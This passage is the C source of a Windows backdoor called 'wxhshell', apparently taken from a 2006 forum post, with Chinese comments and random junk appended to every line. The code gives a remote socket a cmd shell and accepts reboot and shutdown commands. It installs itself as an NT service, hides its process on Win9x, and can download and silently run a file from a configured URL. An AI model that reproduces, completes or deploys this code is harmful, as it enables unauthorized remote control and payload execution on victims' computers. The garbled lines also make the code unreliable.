  else { /*2W?ZM~H  
q$*_C kT  
    switch(cmd[0]) { 8$tpPOhzb  
  ]1$AAmQH  
  // 帮助 ),FN29mZu  
  case '?': { >d[vHyA~!D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }nERQq&A  
    break; XzFqQ- H  
  } @?AE75E{  
  // 安装 *jSc&{s~  
  case 'i': { s/|'1E\F  
    if(Install()) dOgM9P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ptL}F~  
    else 'QS~<^-j"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); APm[)vw#f  
    break; } j@@  
    } \>k#]4@rp  
  // 卸载 v" TH[}C9D  
  case 'r': { u<r('IW0  
    if(Uninstall()) @  MoMU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5. UgJ/  
    else J, U~ .c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j-E>*N}-_  
    break; 9e*poG  
    } f3|=T8"t  
  // 显示 wxhshell 所在路径 "Z?":|%7  
  case 'p': { pl/$@K?L  
    char svExeFile[MAX_PATH]; g+F_M  
    strcpy(svExeFile,"\n\r"); Lh$ac-Ct  
      strcat(svExeFile,ExeFile); ;] o^u.PC  
        send(wsh,svExeFile,strlen(svExeFile),0); j`hbQp\`  
    break; I=I%e3GEm  
    } <xz-7EqbwX  
  // 重启 u3!!_~6,z  
  case 'b': { G?(:Z=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y`Y}P1y*  
    if(Boot(REBOOT)) 0 1w/,r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $l"(tB7d  
    else { 0tyU%z{RV  
    closesocket(wsh); Li$k<AM  
    ExitThread(0); ZWW}r~d{  
    } pDN,(Ip  
    break; #>NZN1  
    } 1S@k=EKM  
  // 关机 (G'ddZAJV  
  case 'd': { ,urkd~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :Dm@3S$4<  
    if(Boot(SHUTDOWN)) i<![i5uAI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]c+'SJQ  
    else { >u[ln@ l  
    closesocket(wsh); </Lqk3S-!  
    ExitThread(0); hZG{"O!2 s  
    } P3>2=qK"E(  
    break; 8\_,Y ji  
    } AG=1TZI"  
  // 获取shell >qZRIDE5$  
  case 's': { mJqP#Unik  
    CmdShell(wsh); =~*u(0sJa  
    closesocket(wsh); -p~B -,  
    ExitThread(0); 0nn# U  
    break; w-/Tb~#E  
  } -OAH6U9^  
  // 退出 ,PAKPX9v_F  
  case 'x': { G _o4A:2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `;hBO#(H0}  
    CloseIt(wsh); Xb;`WE gC  
    break; 6P $q7G  
    } 8b $7#  
  // 离开 ThB2U(Wf  
  case 'q': { M](U"K?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r73Xh"SL  
    closesocket(wsh); t?Znil|o  
    WSACleanup(); ymqhI\>y#  
    exit(1); s#sX r  
    break; )E|Bb=%  
        } >X,6  
  } IHfqW?  
  } .!! yj,bQz  
sk/ Mh8z  
  // 提示信息 bZJiubBRI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dD!SgK[Jv  
} N9Vcp~;  
  } A&#Bf#!G  
KcE=m\h  
  return; J0o[WD$A x  
} U[u6UG  
tL|Q{+i yE  
// shell模块句柄 W[ DB !ue  
int CmdShell(SOCKET sock) [ j_jee  
{ =#Jb9=zdR  
STARTUPINFO si; ?Ci\3)u,P  
ZeroMemory(&si,sizeof(si)); z@}~2K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X*&r/=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R/7l2*  
PROCESS_INFORMATION ProcessInfo; M,P_xkLp  
char cmdline[]="cmd"; &v88x s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b1"wQM9  
  return 0; AmFHn  
} +ZO*~.zZ  
t@v8>J%K  
// 自身启动模式 c=CXj3  
int StartFromService(void) OYkd?LN  
{ 1OKJE(T  
typedef struct ~<3yTl>  
{ lRq!|.C  
  DWORD ExitStatus; 7[PXZT  
  DWORD PebBaseAddress; Urr1 K)  
  DWORD AffinityMask; 9:WKG'E8a  
  DWORD BasePriority; Ig2VJs;  
  ULONG UniqueProcessId; [;bLlS,  
  ULONG InheritedFromUniqueProcessId; 12E"6E)  
}   PROCESS_BASIC_INFORMATION; }K\_N]#6n  
NgQl;$  
PROCNTQSIP NtQueryInformationProcess; w6tY6bf}  
*BV .zbGm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #;)7~69  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S3r\)5%;  
s Y,3  
  HANDLE             hProcess; el<nY"c  
  PROCESS_BASIC_INFORMATION pbi; 'S\H% -  
'lF|F+8   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EOiKwhrV  
  if(NULL == hInst ) return 0; fr7/%{s  
}9JPSl28Jr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -K{ID$!p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !~#31kL&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q]aRJ`9f  
[S%  
  if (!NtQueryInformationProcess) return 0; (`N/1}vk  
~a}pYLxl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4KKNw9L)  
  if(!hProcess) return 0; d:aQlW;}  
\GN5Sy]r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JqO( ]*"Hi  
VI4d/2e  
  CloseHandle(hProcess); ,o`qB81  
RL%{VE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OkM>  
if(hProcess==NULL) return 0; -llujB%;,e  
~Hq 2'  
HMODULE hMod; l#Tm`br  
char procName[255]; r]yq #T`z  
unsigned long cbNeeded; &*}S 0  
pfG:P rZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d$ /o\G  
0WFZx Ad"  
  CloseHandle(hProcess); [g{}0 [ew  
*w;f\zW  
if(strstr(procName,"services")) return 1; // 以服务启动 f55Ev<oOa  
Jg:'gF]jt  
  return 0; // 注册表启动 q&.!*rPD  
} xFJ>s-g*  
/>?d 2?  
// 主模块 a;(:iMCi  
int StartWxhshell(LPSTR lpCmdLine) >3JOQ;:d8  
{ DI\^ +P  
  SOCKET wsl; 7D,+1>5^Ne  
BOOL val=TRUE; CfAqMH*ip  
  int port=0; 0t~--/lA  
  struct sockaddr_in door; x8H)m+AW  
Hi9]M3Ub  
  if(wscfg.ws_autoins) Install(); ;J:YNup  
p81~Lk*Hz@  
port=atoi(lpCmdLine); JBqzQ^[n  
j EX([J1  
if(port<=0) port=wscfg.ws_port; ]Vubz54  
_^B+Xo@E-  
  WSADATA data;  _R ]1J0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FR&RIFy  
Au {`o xD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zAH+{4lC+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k $);<= ZI  
  door.sin_family = AF_INET; `>V.}K^4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZE9*i}r  
  door.sin_port = htons(port); /swTn1<Y  
P _ SJK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { myYe~f4=HQ  
closesocket(wsl); 9'tM65K  
return 1; mb#)w`<  
} Yv{AoL~  
 i J\#su  
  if(listen(wsl,2) == INVALID_SOCKET) { R'{V&H^Z  
closesocket(wsl); Vq*p?cF .  
return 1; Ai/#C$MY$  
} (GeJBw,Q  
  Wxhshell(wsl); NT/}}vES  
  WSACleanup(); 6Hz=VhQrN  
-*WD.|k  
return 0; &,\S<B2.  
U;^{uQJ+,  
} 3RD Q{&J:  
.RT5sj\d  
// 以NT服务方式启动 5Hr"}|J<8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UkdQ#b1  
{ [~J4:yDd=  
DWORD   status = 0; N9i>81tY  
  DWORD   specificError = 0xfffffff; 7S Qu  
/A>/]2(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Lpn`HAw&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p%?R;W`u2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -Ju!2by  
  serviceStatus.dwWin32ExitCode     = 0; !:>y.^O  
  serviceStatus.dwServiceSpecificExitCode = 0; +n0y/0Au  
  serviceStatus.dwCheckPoint       = 0; SZgH0W("L  
  serviceStatus.dwWaitHint       = 0; |h3 YL!  
{30A1>0#P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6S<pWR~  
  if (hServiceStatusHandle==0) return; /q>"">  
@M(vaJB8u  
status = GetLastError(); , w_Ew  
  if (status!=NO_ERROR) shi#K<gVC  
{ ?e BN_a,r6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 55#H A?cR  
    serviceStatus.dwCheckPoint       = 0; $`uL^ hlj]  
    serviceStatus.dwWaitHint       = 0; uv@4/M`  
    serviceStatus.dwWin32ExitCode     = status; !6kLg1  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8\[6z0+;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s)-=l _4T  
    return; <EE)d@%>v  
  } %9M_ * ]  
WB= gN:?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S]<Hx_[}  
  serviceStatus.dwCheckPoint       = 0; UE(%R1Py  
  serviceStatus.dwWaitHint       = 0; 9@!`,Co  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )37|rB E  
} Pp}j=$&j\  
`=FfzL  
// 处理NT服务事件,比如:启动、停止 X&K1>dgWP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $FD0MrB_+  
{ N[AX29  
switch(fdwControl) #vIF]Y  
{ IQR?n}ce  
case SERVICE_CONTROL_STOP: wc ^z9y  
  serviceStatus.dwWin32ExitCode = 0; S3 &L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TEY%OI zU+  
  serviceStatus.dwCheckPoint   = 0; M*t{?o/t;  
  serviceStatus.dwWaitHint     = 0; d/"e3S1  
  { 7VR+EV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .~Td /o7  
  } A$ s4Q0Mf  
  return; vmL0H)q  
case SERVICE_CONTROL_PAUSE: ba ,2.|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @o_-UsUX  
  break; R7vO,kZ6Q  
case SERVICE_CONTROL_CONTINUE: )4DF9JpD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xvb5-tK -  
  break; Zj$U _  
case SERVICE_CONTROL_INTERROGATE: S25&UwUw  
  break; kMK-E<g  
}; G6L 'RP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  aj1Zi3h  
} TJ+yBMd*%  
3C5<MxtK  
// 标准应用程序主函数 edA.Va|0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }" A.[9 b  
{ |E|d"_Ma  
$yG=exh3v  
// 获取操作系统版本 y_QK _R<f  
OsIsNt=GetOsVer(); 3^C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,\ov$biL  
G/=tC8eX  
  // 从命令行安装 4R.rSsAH  
  if(strpbrk(lpCmdLine,"iI")) Install(); %gmf  
Ioj F/  
  // 下载执行文件 SxH b76 ;  
if(wscfg.ws_downexe) { PY~cu@'k{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $o5<#g"/T  
  WinExec(wscfg.ws_filenam,SW_HIDE); cR _ 8 5  
} ]H%y7kH8  
[$f  
if(!OsIsNt) { Bh<)e5lP:  
// 如果时win9x,隐藏进程并且设置为注册表启动 RP!X 5  
HideProc(); .t$~>e .  
StartWxhshell(lpCmdLine); NZCPmst  
} bfhap(F~(e  
else ~:v" TuuK  
  if(StartFromService()) n YWS'i@  
  // 以服务方式启动 K8f;AK  
  StartServiceCtrlDispatcher(DispatchTable); Wu?4oF  
else 9*U3uyPi  
  // 普通方式启动 Yq}(O<ol  
  StartWxhshell(lpCmdLine); $3w a%"  
+O2T%  
return 0; @LqLtr@A  
}
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只看该作者 1 发表于: 2006-10-10
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